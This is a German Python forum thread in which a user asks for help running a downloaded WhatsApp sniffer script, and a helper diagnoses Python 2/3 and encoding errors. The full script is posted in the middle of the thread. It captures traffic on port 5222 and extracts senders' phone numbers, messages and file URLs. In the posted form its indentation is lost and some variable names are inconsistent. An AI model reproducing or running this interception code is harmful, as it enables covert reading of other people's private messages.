Seite 1 von 2
Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 18:27
von R0bby
Hallo,
zuerst möchte ich mal sagen das ich mich nicht so richtig mit Python auskenne.
Ich habe mir letztens ein Python Script aus dem Internet herunter geladen doch ich bekomme es nicht ans laufen.
Ich bekomme immer die Fehlermeldung:File "/storage/emulated/0/com.hipipal.qpyplus/scripts3/whatsapp-sniff.py", line 25
SyntaxError: invalid character in identifier
Es wäre sehr nett wenn ihr mir weiter helfen würdet!
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 18:34
von sparrow
Die Fehlermeldung bedeutet, dass ein "Identifier" (also Name einer Variable, Funktion, etc.) mindestens ein Zeichen enthält, den es nicht enthalten darf.
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 18:36
von R0bby
Ich hab schon die Zeichen in dieser Zeile durch andere ausgetauscht doch trotzdem erscheint die Fehlermeldung immer noch...
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 18:40
von sparrow
Dann mehr Script zeigen.
Oder die komplette Zeile mal löschen. Es kann ja auch ein Zeichen sein, dass nicht angezeigt wird.
Oder das Programm hat keine Funktion, einen eingebauten Syntax-Fehler und macht in Wirklichkeit lustige Sachen mit deinem Telefon, die du nicht willst. Ich bin auf jeden Fall immer skeptisch, wenn mir jemand etwas als Whatsapp-Sniffer andrehen will.
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 18:44
von R0bby
Ich weiß dass es man nicht alles glauben soll, aber auch wenn ich mich nicht auskenne sieht man schon dass das Script das macht was es machen soll
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 18:46
von R0bby
Hier ist einfach mal das ganze Skript:
Code: Alles auswählen
#!/usr/bin/env python
import os
import sys
from scapy.all import *
import re
PreviousMsg = ""
PreviousFilename = ""
Files = []
Messages = []
Urls = []
def banner():
print "IIIIIIIIIIIIIIIIIIIIIIIII"
print "II whatsapp sniff v0.1 II"
print "II qnix@0x80.org II"
print "IIIIIIIIIIIIIIIIIIIIIII\n"
def whatsapp_parse(packet):
global Previous_Msg
global Previous_Filename
global Files
global Messages
global Urls
src = packet.sprintf("%IP.src%")
dst = packet.sprintf("%IP.dst%")
sport = packet.sprintf("%IP.sport%")
dport = packet.sprintf("%IP.dport%")
raw = packet.sprintf("%Raw.load%")
# Target Sending stuff
if dport == "5222":
Filename = ""
toNumber = ""
Url = ""
Msg = ""
try:
toNumber = re.sub("\D", "", raw)
if toNumber[5:16].startswith("0"):
toNumber = toNumber[6:17]
else:
toNumber = toNumber[5:16]
try:
Filename = raw.split("file\\xfc")[1][1:37]
Url = raw.split("file\\xfc")[1].split("\\xa5\\xfc")[1].split("\\xfd\\x00")[0][1:]
except:pass
try:
Msg = raw.split("\\xf8\\x02\\x16\\xfc")[1][4:-1].decode("string_escape")
except:
pass
except: pass
if(len(toNumber) >= 10):
if len(Msg) >= 1 and Previous_Msg != Msg:
Previous_Msg = Msg
print "To : ", toNumber
print "Msg : ", Msg
Messages.append(Msg)
elif(len(Filename) >= 1 and Previous_Filename != Filename):
Previous_Filename = Filename
print "To : ", toNumber
print "Filename : ", Filename
print "URL : ", Url
Files.append(Filename)
Urls.append(Url)
# Recieved Messages
if sport == "5222":
Msg = ""
fromNumber = ""
Url = ""
Filename = ""
try:
fromNumber = re.sub("\D", "", raw)
if(fromNumber[5:16].startswith("0")): fromNumber = fromNumber[6:17]
else: fromNumber = fromNumber[5:16]
try:
Filename = raw.split("file\\xfc")[1][1:37]
Url = raw.split("file\\xfc")[1].split("\\xa5\\xfc")[1].split("\\xfd\\x00")[0][1:]
except: pass
try: Msg = raw.split("\\x02\\x16\\xfc")[1][4:-1].decode("string_escape")
except: pass
except:
pass
if len(fromNumber) == 1 and Previous_Msg != Msg:
Previous_Msg = Msg
print "From : ", fromNumber
print "Msg : ", Msg
Messages.append(Msg)
elif len(Filename) >= 1 and Previous_Filename != Filename:
Previous_Filename = Filename
print "From : ", fromNumber
print "Filename : ", Filename
print "URL : ", Url
Files.append(Filename)
Urls.append(Url)
def callback(packet):
sport = packet.sprintf("%IP.sport%")
dport = packet.sprintf("%IP.dport%")
raw = packet.sprintf("%Raw.load%")
if raw != '??':
if dport == "5222" or sport == "5222":
whatsapp_parse(packet)
def main():
banner()
if len(sys.argv) != 2:
print "%s " % sys.argv[0]
sys.exit(1)
iface = sys.argv[1]
verb = 0
promisc = 0
expr = "tcp port 5222"
print("[+] Interface : ", iface)
print("[+] filter : ", expr)
sniff(filter=expr, prn=callback, store=0)
# print "[+] iface %s" % scapy.iface
if __name__ == "__main__":
main()
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 18:58
von sparrow
Ich würde sagen, da ist etwas mit der Kodierung kaputt, denn in den Print-Statements stehen normalerweise Rauten:
https://github.com/0x90/wifi-scripts/bl ... p-sniff.py
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:00
von R0bby
Nein ich habe die Rauten mit Absicht ausgetauscht, denn mit ihnen hatte ich die selbe Fehlermeldung und ich wollte gucken ob sich dies ändert wenn ich ein anderes Zeichen benutze
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:19
von sparrow
Ok, ich kann sowohl den von mir verlinkten Code, als auch den, den du hier gepostet hast, kann ich problemlos durch den Parser jagen.
In welcher Umgebung wird der Code gestartet?
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:22
von R0bby
Ich habe das Skript in einem Debian Terminal gestartet udn in einer typischen Python Konsole die von einer APP bereit gestellt wird.
In beiden Konsolen wird eine Python3 Version verwendet.
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:24
von sparrow
Mit Python 3 wird der Code nicht funktionieren, denn dort wird diese Form des Print-Statements nicht mehr unterstützt.
Dann kommt es auf jeden Fall zu einem "SyntaxError: invalid syntax"
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:26
von R0bby
Sollte ich dann eine 2er Version benutzen?
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:27
von sparrow
Jap.
2.7.x ist die aktuelle Version von Python 2.
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:29
von R0bby
Nur leider hatte ich schon vorher diese Version benutzt und habe dann eine Fehlermeldung erhalten, dass ich einen Non-Ascii Character verwende...
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:32
von R0bby
Das hier war die exakte Fehlermeldung: File "whatsapp-sniff.py", line 25
SyntaxError: Non-ASCII character '\xc2' in file whatsapp-sniff.py on line 25, but no encoding declared; see
http://www.python.org/peps/pep-0263.html for details
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:43
von sparrow
Ich verweise auf den gerade abgearbeiteten Thread ganz in der Nähe:
http://www.python-forum.de/viewtopic.php?f=1&t=36864
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:49
von R0bby
Ich habe schon einmal im Skript oben die UTF-8 Kodierung deklariert mit "# coding: utf8".
Doch trotzdem hat es nichts gebracht...
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:50
von R0bby
Außerdem benutze ich Python ja nicht unter Windows!
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:53
von sparrow
Das hat damit nichts zu tun.
Das als UTF-8 zu deklarieren kann auch nicht helfen, denn wenn kein Encoding für die Quelldatei angegeben ist, dann nimmt Python UTF-8 als Encoding an.
Deine Quelldatei ist also anders kodiert, und _das_ Encoding musst du angeben.
Re: Invalid Character in Identifier
Verfasst: Sonntag 16. August 2015, 19:54
von R0bby
Achso, wie gesagt ich kenne mich nicht aus.
Und wie mache ich das?